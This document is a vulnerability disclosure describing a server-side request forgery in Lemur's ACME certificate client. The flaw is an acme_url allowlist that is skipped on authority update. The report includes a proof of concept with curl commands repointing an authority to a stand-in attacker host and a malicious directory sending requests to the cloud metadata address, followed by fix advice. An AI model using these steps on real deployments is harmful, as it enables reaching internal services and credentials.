Lemur: Server-Side Request Forgery via the ACME client following server-controlled URLs

Summary

The ACME client (used to issue certificates from Let's Encrypt / Google Public CA / private ACME CAs) connects to an acme_url, then issues requests to URLs that the ACME server returns in its directory/order/authorization/finalize responses - this is the classic ACME-client SSRF (RFC 8555 design). Lemur validates acme_url against an allowlist of public ACME directories, but only at authority creation. The authority UPDATE path (PUT /authorities/<id>) accepts a new options blob with an arbitrary acme_url and never re-validates. An attacker who is a member of an authority's role can repoint an existing ACME authority at a malicious ACME server they control, which returns internal URLs in its responses - coercing Lemur into making JWS-signed POST requests to internal services during the next certificate issuance.

Detail

Defect A - allowlist only at creation. _validate_acme_url (lemur/plugins/lemur_acme/plugin.py:35-53) restricts the host to {acme-v02.api.letsencrypt.org, acme-staging-v02.api.letsencrypt.org, dv.acme-v02.api.pki.goog}. It runs only inside create_authority (lines 337, 481). The update path stores options verbatim:

# lemur/authorities/views.py:417-424  (Authorities.put)
return service.update(
    authority_id,
    owner=data["owner"], description=data["description"],
    active=data["active"], roles=data["roles"],
    options=data.get("options")          # <- acme_url lives here, NO re-validation
)

AuthorityUpdateSchema.options = fields.String() (authorities/schemas.py:101) applies no validation. The docstring of _validate_acme_url even admits: "existing authorities in the DB were already trusted when they were created and are not re-validated."

Defect B - ACME client follows server-supplied URLs. setup_acme_client_no_retry (acme_handlers.py:161-162, 188-202) reads acme_url from stored authority options and creates an ACME client. Per RFC 8555, the client:

1. get_directory(acme_url) -> server returns newNonce, newOrder, revokeCert, keyChange URLs.
2. new_order() -> server returns finalize and authorizations URLs.
3. poll(), finalize_order(), cert download -> all hit server-chosen URLs.

A malicious ACME server can return internal URLs for all of these.

Authorization on update: Authorities.put requires AuthorityPermission(authority_id, roles) (views.py:412), satisfied by AuthorityOwnerNeed/AuthorityCreatorNeed - i.e. any member of the authority's role, not a global admin. This is the standard role a certificate issuer holds.

Source-to-sink trace:

PUT /api/1/authorities/<id> (AuthorityPermission = authority-role member)
  -> service.update(options={"acme_url":"https://evil.attacker.tld/dir"})  <- no re-validation
… next certificate issuance against this authority …
  setup_acme_client_no_retry reads acme_url=evil.attacker.tld
    -> ACME client GET directory -> attacker returns newOrder=http://169.254.169.254/...
    -> Lemur POSTs JWS-signed request to internal URL

Steps to Reproduce (POC)

Step 1 - Attacker runs a malicious ACME directory server (e.g. evil.attacker.tld) that returns internal URLs in its directory and order responses:

# Minimal: a directory endpoint that points "newOrder" at an internal target
{
  "newNonce": "https://evil.attacker.tld/nonce",
  "newOrder": "http://169.254.169.254/latest/meta-data/",   # <- internal
  "revokeCert": "https://evil.attacker.tld/revoke",
  "keyChange": "https://evil.attacker.tld/key"
}

Step 2 - Attacker (authority-role member) repoints an existing ACME authority:

curl -k -X PUT https://lemur.example.com/api/1/authorities/42 \
  -H "Authorization: Bearer <JWT>" -H "Content-Type: application/json" \
  -d '{
    "name":"letsencrypt",
    "owner":"attacker@corp.com",
    "description":"x","active":true,
    "roles":[{"id":7,"name":"letsencrypt_operator"}],
    "options":"[{\"name\":\"acme_url\",\"value\":\"https://evil.attacker.tld/dir\"},{\"name\":\"chain\",\"value\":\"\"}]"
  }'

Step 3 - Issue a certificate against the repointed authority (via UI/API):

curl -k -X POST https://lemur.example.com/api/1/certificates \
  -H "Authorization: Bearer <JWT>" -H "Content-Type: application/json" \
  -d '{"commonName":"demo.example.com","owner":"attacker@corp.com",
       "authority":{"name":"letsencrypt"},"validityYears":1}'

The Lemur ACME client connects to evil.attacker.tld, reads the directory, and POSTs a JWS-signed request to http://169.254.169.254/... - internal SSRF achieved. (The JWS body, while structured, is attacker-influenceable via the ACME flow.)

Note: This is config-dependent - it requires an ACME authority to exist (an admin must have created one). ACME is the primary recommended issuance path in Lemur, so this is a realistic deployment state.

Impact

• JWS-authenticated POSTs to attacker-chosen internal URLs - stronger than blind GET SSRF: the request body is structured/signed and the account key + cloud DNS credentials are resident in the process during issuance.
• Reaches internal HTTP services, cloud metadata, Kubernetes API from the Lemur host.
• The combination (allowlist-bypass-on-update + server-supplied-URL-following) makes it reachable by a non-admin authority-role member without ever needing the admin-gated creation path.
• Limitation: requires ACME to be in use. Not default-deploy by itself, but ACME is the recommended issuance method.

Fix

1. Re-run _validate_acme_url inside authorities/service.update / update_options, or make acme_url immutable after authority creation.
2. In the ACME client wrapper, pin every outbound request host to the allowlisted directory host: reject any directory/order/finalize URL whose hostname ≠ the configured acme_url hostname.